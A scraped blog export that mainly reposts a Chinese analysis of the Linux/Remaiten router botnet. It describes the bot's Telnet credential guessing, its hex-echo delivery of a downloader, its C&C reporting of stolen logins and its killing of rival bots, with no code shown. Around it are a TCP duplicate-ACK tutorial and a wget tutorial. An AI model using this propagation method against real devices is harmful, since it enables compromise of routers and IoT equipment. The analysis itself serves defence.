src=\"http://ww2.sinaimg.cn/mw690/7cc829d3gw1ehh4xds6mwj20if06iq3b.jpg\"\u003e\n这是一个TCP ACK报文，从数据接收端（172.31.136.85）发给发送端（195.81.202.68）①，确认前一个报文所发送的数据。\n此报文中的确认编号是1310973186②，应当是下一个接收报文的序列号，如下图所示：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://ww1.sinaimg.cn/mw690/7cc829d3gw1ehh4xe9kpuj20id07edg9.jpg\"\u003e\n不幸的是接收端的序列号是1310984130①，并不是所期望的值。这意味着报文在传送中丢失。接收端注意到报文乱序，并且在第三个报文中发送重复ACK，如下图所示：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://ww4.sinaimg.cn/mw690/7cc829d3gw1ehh4xflq0yj20i6081jrt.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e可以通过以下两种方式之一来确认这是一个重复ACK：\u003c/p\u003e\n\u003cp\u003e在Packet Detaisl面板中的Info栏。报文呈现黑色背景红色字体。\u003c/p\u003e\n\u003cp\u003eSEQ/ACK Analysis下的Packet Deatails面板。扩展这一栏会发现报文显示为duplicate ACK。接下来几个报文重复此过程。如下图所示：\n\u003cimg loading=\"lazy\" src=\"http://ww3.sinaimg.cn/mw690/7cc829d3gw1ehh4xg7iijj20il0263yn.jpg\"\u003e\n此文件中的第四个报文是发送端所发出具有错误序列号①的另一个数据块。因此，接收端发送第二个重复ACK②。接收端又收到一个乱序报文③。从而触发了第三以及最后一个重复ACK④.\u003c/p\u003e","title":"网络性能排查之TCP重传与重复ACK"},{"content":"据ESET报道，最近发现了一种新的针对嵌入式设备的BOT，通过分析将其恶意行为定义为Linux / Remaiten(一种可以通过互联网指令进行远程控制的后门服务)。到目前为止，已经发现了三个版本，分别是2.0,2.1和2.2。相比之前的样本，它具有一些改进，并提供了一些新的功能。根据代码中的线索，作者将这个新的恶意软件命名为“KTN-Remastered” 或者 “KTN-RM”。这里将会分享最新样本相比之前样本的一些新的特性。\n文章目录\n先进的传播方式 下载者技术分析 BOT行为分析 连接到C\u0026amp;C服务器 IRC命令处理 嵌入的下载者 Telnet扫描 向C\u0026amp;C发送当前状态 杀死其他BOT 总结 附件 BOT样本 下载者样本 C\u0026amp;C通讯 先进的传播方式 1、历史样本\n历史版本传播方式\n2、本次样本\n本次样本传播方式\n下载者技术分析 下载者是一个比较小的ELF可执行文件，当在受害者设备上运行后，会向C\u0026amp;C服务器发送如下指令(主要是CPU架构):\nmips mipsel armeabi armebeabi C\u0026amp;C服务器会根据客户端的请求返回指定CPU架构的BOT文件(ELF格式)。如下图：\n下载者从C\u0026amp;C获得的BOT二进制文件\n下载者连接C\u0026amp;C服务器\n这里分析的环境是mips架构的，下载者会下载mips架构的BOT，并在控制台输出相关的信息。\n下载者从C\u0026amp;C服务器请求MIPS架构的BOT\nBOT行为分析 BOT在默认情况下会以后台服务的形式启动，一旦启动，程序会将自己的名字更改为看起来比较合法的名字（在2.0和2.1版本中使用“-bash”,2.2版本中使用“-sh”）。\nBOT的启动\n接下来运行的create_daemon函数将会在预定义的目录(在预定义目录列表中第一个拥有写入权限的目录)中创建一个名为“.kpid”的文件，将其PID写入到该文件中：\n预定义文件目录列表\n如果名为“.kpid”的文件存在，则会结束“.kpid”文件中指定PID的进程实例，然后创建一个新的进程实例继续运行，并将其PID写入到“.kpid”文件中。\n.kpid文件创建跟踪\n连接到C\u0026amp;C服务器 服务器的地址列表和端口是被硬编码在二进制文件中，BOT会随机选取一个服务器地址，连接指定的端口。\nBOT连接的C\u0026amp;C服务器\n当成功连接到C\u0026amp;C服务器后，BOT则会监测IRC（Internet Relay Chat：互联网中继通讯）通道的存在，C\u0026amp;C服务器会返回欢迎信息以及相关的指令码，由受影响设备上的BOT解析与处理。\nC\u0026amp;C BOT欢迎信息\nIRC命令处理 BOT可以响应多种IRC命令，这些命令的处理被保存在一个数组中。\nIRC命令\n这里需要关注的是“PRIVMSG”命令，因为它被用于执行具有威胁的动作，例如洪水攻击、下载文件、远程登录扫描等，这些命令被保存在静态数组中。\nBOT可用的命令\n在样本文件中静态存储着对威胁命令的解释字符串，可以帮助理解。\n洪水攻击指令解释字符串\nTelnet扫描、下载文件、结束BOT的指令解释字符串\n嵌入的下载者 样本中包含多个CPU架构的轻量级下载者，可以向受害设备上传与其CPU架构相符的下载者，并运行，由下载者从C\u0026amp;C服务器下载BOT的二进制样本。\n嵌入的有效载荷\n载荷的结构\nTelnet扫描 Telnet扫描与猜测\nC\u0026amp;C发送“QTELNET”命令后，BOT便开始进行Telnet扫描，可归结为如下阶段进行：\n随机选取一个公网的IP地址，并连接到端口23。 尝试使用用户名和密码组合进行账户猜解。 获取受害设备的CPU架构。 发送并执行正确的下载者。 目标CPU架构是通过在命令行执行“cat $SHELL”($SHEL指向为目标系统的执行文件),获取文件内容，然后根据ELF文件结构解析得出。\n获取目标平台的CPU架构\n解析ELF文件头部结构\n之后，BOT根据设备的CPU架构选择有效载荷。\n根据设备架构选择有效载荷\n样本会在“/dev/netslink/”、“/var/tmp/”、“/tmp/”、“/”、“/home/”中选择一个可写入的目录中创建几个空的可执行文件，文件名分别为“.t”、 “retrieve”和 “binary”。“retrieve”文件中将会被写入下载者，“binary”文件中将会被写入从C\u0026amp;C下载的BOT二进制文件，目前版本“.t”文件没有使用。\n样本创建空的可执行文件的方式如下：\n1） 复制busybox文件到指定文件。 2） 通过\u0026gt;file命令清空文件。\n样本通过在Telnet上回显十六进制编码字符串序列的方式将下载者写入到嵌入式设备制定的文件中（retrieve）。\n通过ECHO 传输有效载荷的十六进制编码字符串\n传输完下载者后，样本运行下载者，并通过下载者回显方式将BOT文件的内容写入到“binary”文件，最后执行BOT实例。\n运行下载者和BOT实例\n向C\u0026amp;C发送当前状态 在进行Telnet扫描过程中，BOT会向C\u0026amp;C服务器发送当前的扫描进度，以及新发现的设备IP，用户名和口令，以及是否已经被感染，方便管理员对设备进行管理。\n向C\u0026amp;C发送扫描的设备信息\n杀死其他BOT 还有一个命令很重要，为“KILLBOTS”，BOT会枚举正在运行的实例，并根据相关条件决定是否应该结束，主要和进程名称有关（不同的版本，名称可能有所不同）。\n要杀死的进程名列表\n要忽略的进程名列表\n样本仅会杀死通过僵死的shell创建的进程，并会将进程名发送给服务器，以便服务器可以通过黑白名单进行管理。\n总结 通过分析发现此样本的适应范围非常广，涉及到所有的平台，有可能也会波及到IOT设备，其使用了独特的方式进行传播与扩散，同时具备了比较先进的可管理功能。针对此种恶意软件，安全的监测与部署方式进行相应的改进。\n附件 BOT样本 Version 2.0\nVersion 2.0\nVersion 2.1\nVersion 2.1\nVersion 2.2\nVersion 2.2\n下载者样本 Version 2.0\n下载者样本1\nVersion 2.1\n下载者样本2\nVersion 2.2\n下载者样本3\nC\u0026amp;C通讯 C\u0026amp;C通讯\n参考来源：\nMeet Remaiten – a Linux bot on steroids targeting routers and potentially other IoT devices\n转自绿盟科技博客： 原文链接.\n","permalink":"https://www.lucien116.com/archives/147/","summary":"\u003cp\u003e据ESET报道，最近发现了一种新的针对嵌入式设备的BOT，通过分析将其恶意行为定义为Linux / Remaiten(一种可以通过互联网指令进行远程控制的后门服务)。到目前为止，已经发现了三个版本，分别是2.0,2.1和2.2。相比之前的样本，它具有一些改进，并提供了一些新的功能。根据代码中的线索，作者将这个新的恶意软件命名为“KTN-Remastered” 或者 “KTN-RM”。这里将会分享最新样本相比之前样本的一些新的特性。\u003c/p\u003e\n\u003cp\u003e文章目录\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#i\" title=\"先进的传播方式\"\u003e先进的传播方式\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#i-2\" title=\"下载者技术分析\"\u003e下载者技术分析\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#BOT\" title=\"BOT行为分析\"\u003eBOT行为分析\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#CC\" title=\"连接到C\u0026amp;C服务器\"\u003e连接到C\u0026amp;C服务器\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#IRC\" title=\"IRC命令处理\"\u003eIRC命令处理\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#i-3\" title=\"嵌入的下载者\"\u003e嵌入的下载者\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#Telnet\" title=\"Telnet扫描\"\u003eTelnet扫描\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#CC-2\" title=\"向C\u0026amp;C发送当前状态\"\u003e向C\u0026amp;C发送当前状态\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#BOT-2\" title=\"杀死其他BOT\"\u003e杀死其他BOT\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#i-4\" title=\"总结\"\u003e总结\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#i-5\" title=\"附件\"\u003e附件\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#BOT-3\" title=\"BOT样本\"\u003eBOT样本\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#i-6\" title=\"下载者样本\"\u003e下载者样本\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://blog.nsfocus.net/linux-bot-steroids-targeting-routers-potentially-iot-devices/#CC-3\" title=\"C\u0026amp;C通讯\"\u003eC\u0026amp;C通讯\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"先进的传播方式\"\u003e先进的传播方式\u003c/h2\u003e\n\u003cp\u003e1、历史样本\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/%E5%8E%86%E5%8F%B2%E7%89%88%E6%9C%AC%E4%BC%A0%E6%92%AD%E6%96%B9%E5%BC%8F.jpg\"\u003e\u003cimg alt=\"历史版本传播方式\" loading=\"lazy\" src=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/%E5%8E%86%E5%8F%B2%E7%89%88%E6%9C%AC%E4%BC%A0%E6%92%AD%E6%96%B9%E5%BC%8F.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e历史版本传播方式\u003c/p\u003e\n\u003cp\u003e2、本次样本\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/%E6%9C%AC%E6%AC%A1%E6%A0%B7%E6%9C%AC%E4%BC%A0%E6%92%AD%E6%96%B9%E5%BC%8F.jpg\"\u003e\u003cimg alt=\"本次样本传播方式\" loading=\"lazy\" src=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/%E6%9C%AC%E6%AC%A1%E6%A0%B7%E6%9C%AC%E4%BC%A0%E6%92%AD%E6%96%B9%E5%BC%8F.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e本次样本传播方式\u003c/p\u003e\n\u003ch2 id=\"下载者技术分析\"\u003e下载者技术分析\u003c/h2\u003e\n\u003cp\u003e下载者是一个比较小的ELF可执行文件，当在受害者设备上运行后，会向C\u0026amp;C服务器发送如下指令(主要是CPU架构):\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003emips\u003c/li\u003e\n\u003cli\u003emipsel\u003c/li\u003e\n\u003cli\u003earmeabi\u003c/li\u003e\n\u003cli\u003earmebeabi\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eC\u0026amp;C服务器会根据客户端的请求返回指定CPU架构的BOT文件(ELF格式)。如下图：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/%E4%B8%8B%E8%BD%BD%E8%80%85%E4%BB%8ECC%E8%8E%B7%E5%BE%97%E7%9A%84BOT%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%96%87%E4%BB%B6.jpg\"\u003e\u003cimg alt=\"下载者从C\u0026amp;C获得的BOT二进制文件\" loading=\"lazy\" src=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/%E4%B8%8B%E8%BD%BD%E8%80%85%E4%BB%8ECC%E8%8E%B7%E5%BE%97%E7%9A%84BOT%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%96%87%E4%BB%B6.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e下载者从C\u0026amp;C获得的BOT二进制文件\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/%E4%B8%8B%E8%BD%BD%E8%80%85%E8%BF%9E%E6%8E%A5CC%E6%9C%8D%E5%8A%A1%E5%99%A8.jpg\"\u003e\u003cimg alt=\"下载者连接C\u0026amp;C服务器\" loading=\"lazy\" src=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/%E4%B8%8B%E8%BD%BD%E8%80%85%E8%BF%9E%E6%8E%A5CC%E6%9C%8D%E5%8A%A1%E5%99%A8.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e下载者连接C\u0026amp;C服务器\u003c/p\u003e\n\u003cp\u003e这里分析的环境是mips架构的，下载者会下载mips架构的BOT，并在控制台输出相关的信息。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/%E4%B8%8B%E8%BD%BD%E8%80%85%E4%BB%8ECC%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AF%B7%E6%B1%82MIPS%E6%9E%B6%E6%9E%84%E7%9A%84BOT.jpg\"\u003e\u003cimg alt=\"下载者从C\u0026amp;C服务器请求MIPS架构的BOT\" loading=\"lazy\" src=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/%E4%B8%8B%E8%BD%BD%E8%80%85%E4%BB%8ECC%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AF%B7%E6%B1%82MIPS%E6%9E%B6%E6%9E%84%E7%9A%84BOT.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e下载者从C\u0026amp;C服务器请求MIPS架构的BOT\u003c/p\u003e\n\u003ch2 id=\"bot行为分析\"\u003eBOT行为分析\u003c/h2\u003e\n\u003cp\u003eBOT在默认情况下会以后台服务的形式启动，一旦启动，程序会将自己的名字更改为看起来比较合法的名字（在2.0和2.1版本中使用“-bash”,2.2版本中使用“-sh”）。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/BOT%E7%9A%84%E5%90%AF%E5%8A%A8.jpg\"\u003e\u003cimg alt=\"BOT的启动\" loading=\"lazy\" src=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/BOT%E7%9A%84%E5%90%AF%E5%8A%A8.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eBOT的启动\u003c/p\u003e\n\u003cp\u003e接下来运行的create_daemon函数将会在预定义的目录(在预定义目录列表中第一个拥有写入权限的目录)中创建一个名为“.kpid”的文件，将其PID写入到该文件中：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/%E9%A2%84%E5%AE%9A%E4%B9%89%E6%96%87%E4%BB%B6%E7%9B%AE%E5%BD%95%E5%88%97%E8%A1%A8.jpg\"\u003e\u003cimg alt=\"预定义文件目录列表\" loading=\"lazy\" src=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/%E9%A2%84%E5%AE%9A%E4%B9%89%E6%96%87%E4%BB%B6%E7%9B%AE%E5%BD%95%E5%88%97%E8%A1%A8.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e预定义文件目录列表\u003c/p\u003e\n\u003cp\u003e如果名为“.kpid”的文件存在，则会结束“.kpid”文件中指定PID的进程实例，然后创建一个新的进程实例继续运行，并将其PID写入到“.kpid”文件中。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/kpid%E6%96%87%E4%BB%B6%E5%88%9B%E5%BB%BA%E8%B7%9F%E8%B8%AA.jpg\"\u003e\u003cimg alt=\".kpid文件创建跟踪\" loading=\"lazy\" src=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/kpid%E6%96%87%E4%BB%B6%E5%88%9B%E5%BB%BA%E8%B7%9F%E8%B8%AA.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e.kpid文件创建跟踪\u003c/p\u003e\n\u003ch3 id=\"连接到cc服务器\"\u003e连接到C\u0026amp;C服务器\u003c/h3\u003e\n\u003cp\u003e服务器的地址列表和端口是被硬编码在二进制文件中，BOT会随机选取一个服务器地址，连接指定的端口。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/BOT%E8%BF%9E%E6%8E%A5%E7%9A%84CC%E6%9C%8D%E5%8A%A1%E5%99%A8.jpg\"\u003e\u003cimg alt=\"BOT连接的C\u0026amp;C服务器\" loading=\"lazy\" src=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/BOT%E8%BF%9E%E6%8E%A5%E7%9A%84CC%E6%9C%8D%E5%8A%A1%E5%99%A8.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eBOT连接的C\u0026amp;C服务器\u003c/p\u003e\n\u003cp\u003e当成功连接到C\u0026amp;C服务器后，BOT则会监测IRC（Internet Relay Chat：互联网中继通讯）通道的存在，C\u0026amp;C服务器会返回欢迎信息以及相关的指令码，由受影响设备上的BOT解析与处理。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/CC-BOT%E6%AC%A2%E8%BF%8E%E4%BF%A1%E6%81%AF.jpg\"\u003e\u003cimg alt=\"C\u0026amp;C BOT欢迎信息\" loading=\"lazy\" src=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/CC-BOT%E6%AC%A2%E8%BF%8E%E4%BF%A1%E6%81%AF.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eC\u0026amp;C BOT欢迎信息\u003c/p\u003e\n\u003ch3 id=\"irc命令处理\"\u003eIRC命令处理\u003c/h3\u003e\n\u003cp\u003eBOT可以响应多种IRC命令，这些命令的处理被保存在一个数组中。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/IRC%E5%91%BD%E4%BB%A4.jpg\"\u003e\u003cimg alt=\"IRC命令\" loading=\"lazy\" src=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/IRC%E5%91%BD%E4%BB%A4.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eIRC命令\u003c/p\u003e\n\u003cp\u003e这里需要关注的是“PRIVMSG”命令，因为它被用于执行具有威胁的动作，例如洪水攻击、下载文件、远程登录扫描等，这些命令被保存在静态数组中。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/BOT%E5%8F%AF%E7%94%A8%E7%9A%84%E5%91%BD%E4%BB%A4.jpg\"\u003e\u003cimg alt=\"BOT可用的命令\" loading=\"lazy\" src=\"http://blog.nsfocus.net/wp-content/uploads/2016/04/BOT%E5%8F%AF%E7%94%A8%E7%9A%84%E5%91%BD%E4%BB%A4.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eBOT可用的命令\u003c/p\u003e\n\u003cp\u003e在样本文件中静态存储着对威胁命令的解释字符串，可以帮助理解。\u003c/p\u003e","title":"新型针对路由器的Linux BOT或将波及其它IOT设备"},{"content":"Linux wget是一个下载文件的工具，它用在命令行下。对于Linux用户是必不可少的工具，尤其对于vps管理，经常要下载一些软件或从远程服务器恢复备份到本地服务器，主机博士介绍下 Linux Wget命令用法和实例分析。\nwget是在Linux下开发的开放源代码的软件，作者是Hrvoje Niksic，后来被移植到包括Windows在内的各个平台上。\n它有以下功能和特点：\n(1)支持断点下传功能;这一点，也是网络蚂蚁和FlashGet当年最大的卖点，现在，Wget也可以使用此功能，那些网络不是太好的用户可以放心了;\n(2)同时支持FTP和HTTP下载方式;尽管现在大部分软件可以使用HTTP方式下载，但是，有些时候，仍然需要使用FTP方式下载软件;\n(3)支持代理服务器;对安全强度很高的系统而言，一般不会将自己的系统直接暴露在互联网上，所以，支持代理是下载软件必须有的功能;\n(4)设置方便简单;可能，习惯图形界面的用户已经不是太习惯命令行了，但是，命令行在设置上其实有更多的优点，最少，鼠标可以少点很多次，也不要担心是否错点鼠标;\n(5)程序小，完全免费;程序小可以考虑不计，因为现在的硬盘实在太大了;完全免费就不得不考虑了，即使网络上有很多所谓的免费软件，但是，这些软件的广告却不是我们喜欢的;\n下面我们以实例的形式说明怎么使用wget。\nLinux Wget下载整站命令说明：\nwget这个命令可以以递归的方式下载整站，并可以将下载的页面中的链接转换为本地链接。这个命令可以以递归的方式下载整站，并可以将下载的页面中的链接转换为本地链接。\nwget -r -p -np -k http://xxx.com/abc/\n-r, –recursive(递归) specify recursive download.(指定递归下载)\n-k, –convert-links(转换链接) make links in downloaded HTML point to local files.(将下载的HTML页面中的链接转换为相对链接即本地链接)\n-p, –page-requisites(页面必需元素) get all images, etc. needed to display HTML page.(下载所有的图片等页面显示所需的内容)\n-np, –no-parent(不追溯至父级) don’t ascend to the parent directory.\n另外断点续传用-nc参数 日志 用-o参数\nLinux Wget命令使用技巧：\n1、使用wget下载单个文件\n以下的例子是从网络下载一个文件并保存在当前目录\nwget http://cn.wordpress.org/wordpress-3.1-zh_CN.zip\n在下载的过程中会显示进度条，包含(下载完成百分比，已经下载的字节，当前下载速度，剩余下载时间)。\n2、使用wget -O下载并以不同的文件名保存\nwget默认会以最后一个符合”/”的后面的字符来命令，对于动态链接的下载通常文件名会不正确。\n错误：下面的例子会下载一个文件并以名称download.php?id=1080保存\nwget http://www.centos.bz/download?id=1\n即使下载的文件是zip格式，它仍然以download.php?id=1080命令。\n正确：为了解决这个问题，我们可以使用参数-O来指定一个文件名：\nwget -O wordpress.zip http://www.centos.bz/download.php?id=1080\n3、使用wget –limit -rate限速下载\n当你执行wget的时候，它默认会占用全部可能的宽带下载。但是当你准备下载一个大文件，而你还需要下载其它文件时就有必要限速了。\nwget –limit-rate=300k http://cn.wordpress.org/wordpress-3.1-zh_CN.zip\n4、使用wget -c断点续传\n使用wget -c重新启动下载中断的文件:\nwget -c http://cn.wordpress.org/wordpress-3.1-zh_CN.zip\n对于我们下载大文件时突然由于网络等原因中断非常有帮助，我们可以继续接着下载而不是重新下载一个文件。需要继续中断的下载时可以使用-c参数。\n5、使用wget -b后台下载\n对于下载非常大的文件的时候，我们可以使用参数-b进行后台下载。\nwget -b http://cn.wordpress.org/wordpress-3.1-zh_CN.zip\nContinuing in background, pid 1840.\nOutput will be written to `wget-log’.\n你可以使用以下命令来察看下载进度\ntail -f wget-log\n6、伪装代理名称下载\n有些网站能通过根据判断代理名称不是浏览器而拒绝你的下载请求。不过你可以通过–user-agent参数伪装。\nwget –user-agent=”Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16″ 下载链接\n7、使用wget –spider测试下载链接\n当你打算进行定时下载，你应该在预定时间测试下载链接是否有效。我们可以增加–spider参数进行检查。\nwget –spider URL\n如果下载链接正确，将会显示\nwget –spider URL\nSpider mode enabled. Check if remote file exists.\nHTTP request sent, awaiting response… 200 OK\nLength: unspecified [text/html]\nRemote file exists and could contain further links,\nbut recursion is disabled — not retrieving.\n这保证了下载能在预定的时间进行，但当你给错了一个链接，将会显示如下错误\nwget –spider url\nSpider mode enabled. Check if remote file exists.\nHTTP request sent, awaiting response… 404 Not Found\nRemote file does not exist — broken link!!!\n你可以在以下几种情况下使用spider参数：\n定时下载之前进行检查\n间隔检测网站是否可用\n检查网站页面的死链接\n8、使用wget –tries增加重试次数\n如果网络有问题或下载一个大文件也有可能失败。wget默认重试20次连接下载文件。如果需要，你可以使用–tries增加重试次数。\nwget –tries=40 URL\n9、使用wget -i下载多个文件\n首先，保存一份下载链接文件\ncat \u0026gt; filelist.txt\nurl1\nurl2\nurl3\nurl4\n接着使用这个文件和参数-i下载\nwget -i filelist.txt\n10、使用wget –mirror镜像网站\n下面的例子是下载整个网站到本地。\nwget –mirror -p –convert-links -P ./LOCAL URL\n–miror:开户镜像下载\n-p:下载所有为了html页面显示正常的文件\n–convert-links:下载后，转换成本地的链接\n-P ./LOCAL：保存所有文件和目录到本地指定目录\n11、使用wget –reject过滤指定格式下载\n你想下载一个网站，但你不希望下载图片，你可以使用以下命令。\nwget –reject=gif url\n12、使用wget -o把下载信息存入日志文件\n你不希望下载信息直接显示在终端而是在一个日志文件，可以使用以下命令：\nwget -o download.log URL\n13、使用wget -Q限制总下载文件大小\n当你想要下载的文件超过5M而退出下载，你可以使用以下命令:\nwget -Q5m -i filelist.txt\n注意：这个参数对单个文件下载不起作用，只能递归下载时才有效。\n14、使用wget -r -A下载指定格式文件\n可以在以下情况使用该功能\n下载一个网站的所有图片\n下载一个网站的所有视频\n下载一个网站的所有PDF文件\nwget -r -A.pdf url\n15、使用wget FTP下载\n你可以使用wget来完成ftp链接的下载。\n使用wget匿名ftp下载\nwget ftp-url\n使用wget用户名和密码认证的ftp下载\nwget –ftp-user=USERNAME –ftp-password=PASSWORD url\n16、利用代理服务器进行下载。\n如果用户的网络需要经过代理服务器，那么可以让wget通过代理服务器进行文件的下载。此时需要在当前用户的目录下创建一个.wgetrc文件。文件中可以设置代理服务器：\nhttp-proxy = 111.111.111.111:8080\nftp-proxy = 111.111.111.111:8080\n分别表示http的代理服务器和ftp的代理服务器。如果代理服务器需要密码则使用：\n–proxy-user=USER设置代理用户\n–proxy-passwd=PASS设置代理密码\n这两个参数。\n使用参数–proxy=on/off 使用或者关闭代理。\nwget还有很多有用的功能，需要用户去挖掘。附录：\nWget命令格式大全：\nwget [参数列表] [目标软件、网页的网址]\n-V,–version 显示软件版本号然后退出;\n-h,–help显示软件帮助信息;\n-e,–execute=COMMAND 执行一个 “.wgetrc”命令\n-o,–output-file=FILE 将软件输出信息保存到文件;\n-a,–append-output=FILE将软件输出信息追加到文件;\n-d,–debug显示输出信息;\n-q,–quiet 不显示输出信息;\n-i,–input-file=FILE 从文件中取得URL;\n-t,–tries=NUMBER 是否下载次数(0表示无穷次)\n-O –output-document=FILE下载文件保存为别的文件名\n-nc, –no-clobber 不要覆盖已经存在的文件\n-N,–timestamping只下载比本地新的文件\n-T,–timeout=SECONDS 设置超时时间\n-Y,–proxy=on/off 关闭代理\n-nd,–no-directories 不建立目录\n-x,–force-directories 强制建立目录\n–http-user=USER设置HTTP用户\n–http-passwd=PASS设置HTTP密码\n–proxy-user=USER设置代理用户\n–proxy-passwd=PASS设置代理密码\n-r,–recursive 下载整个网站、目录(小心使用)\n-l,–level=NUMBER 下载层次\n-A,–accept=LIST 可以接受的文件类型\n-R,–reject=LIST拒绝接受的文件类型\n-D,–domains=LIST可以接受的域名\n–exclude-domains=LIST拒绝的域名\n-L,–relative 下载关联链接\n–follow-ftp 只下载FTP链接\n-H,–span-hosts 可以下载外面的主机\n-I,–include-directories=LIST允许的目录\n-X,–exclude-directories=LIST 拒绝的目录\n中文文档名在平常的情况下会被编码， 但是在 –cut-dirs 时又是正常的，\nwget -r -np -nH –cut-dirs=3 ftp://host/test/\n测试.txt\nwget -r -np -nH -nd ftp://host/test/\n%B4%FA%B8%D5.txt\nwget “ftp://host/test/*”\n%B4%FA%B8%D5.txt\n由 於不知名的原因，可能是为了避开特殊档名， wget 会自动将抓取档名的部分用 encode_string 处理过， 所以该 patch 就把被 encode_string 处理成 “%3A” 这种东西， 用 decode_string 还原成 “:”，并套用在目录与档案名称的部分，decode_string 是 wget 内建的函式。\nwget -t0 -c -nH -x -np -b -m -P /home/sunny/NOD32view/ http://downloads1.kaspersky-labs.com/bases/ -o wget.log\n","permalink":"https://www.lucien116.com/archives/145/","summary":"\u003cp\u003eLinux wget是一个下载文件的工具，它用在命令行下。对于Linux用户是必不可少的工具，尤其对于vps管理，经常要下载一些软件或从远程服务器恢复备份到本地服务器，主机博士介绍下 \u003cstrong\u003eLinux Wget命令用法和实例分析\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e\u003ca 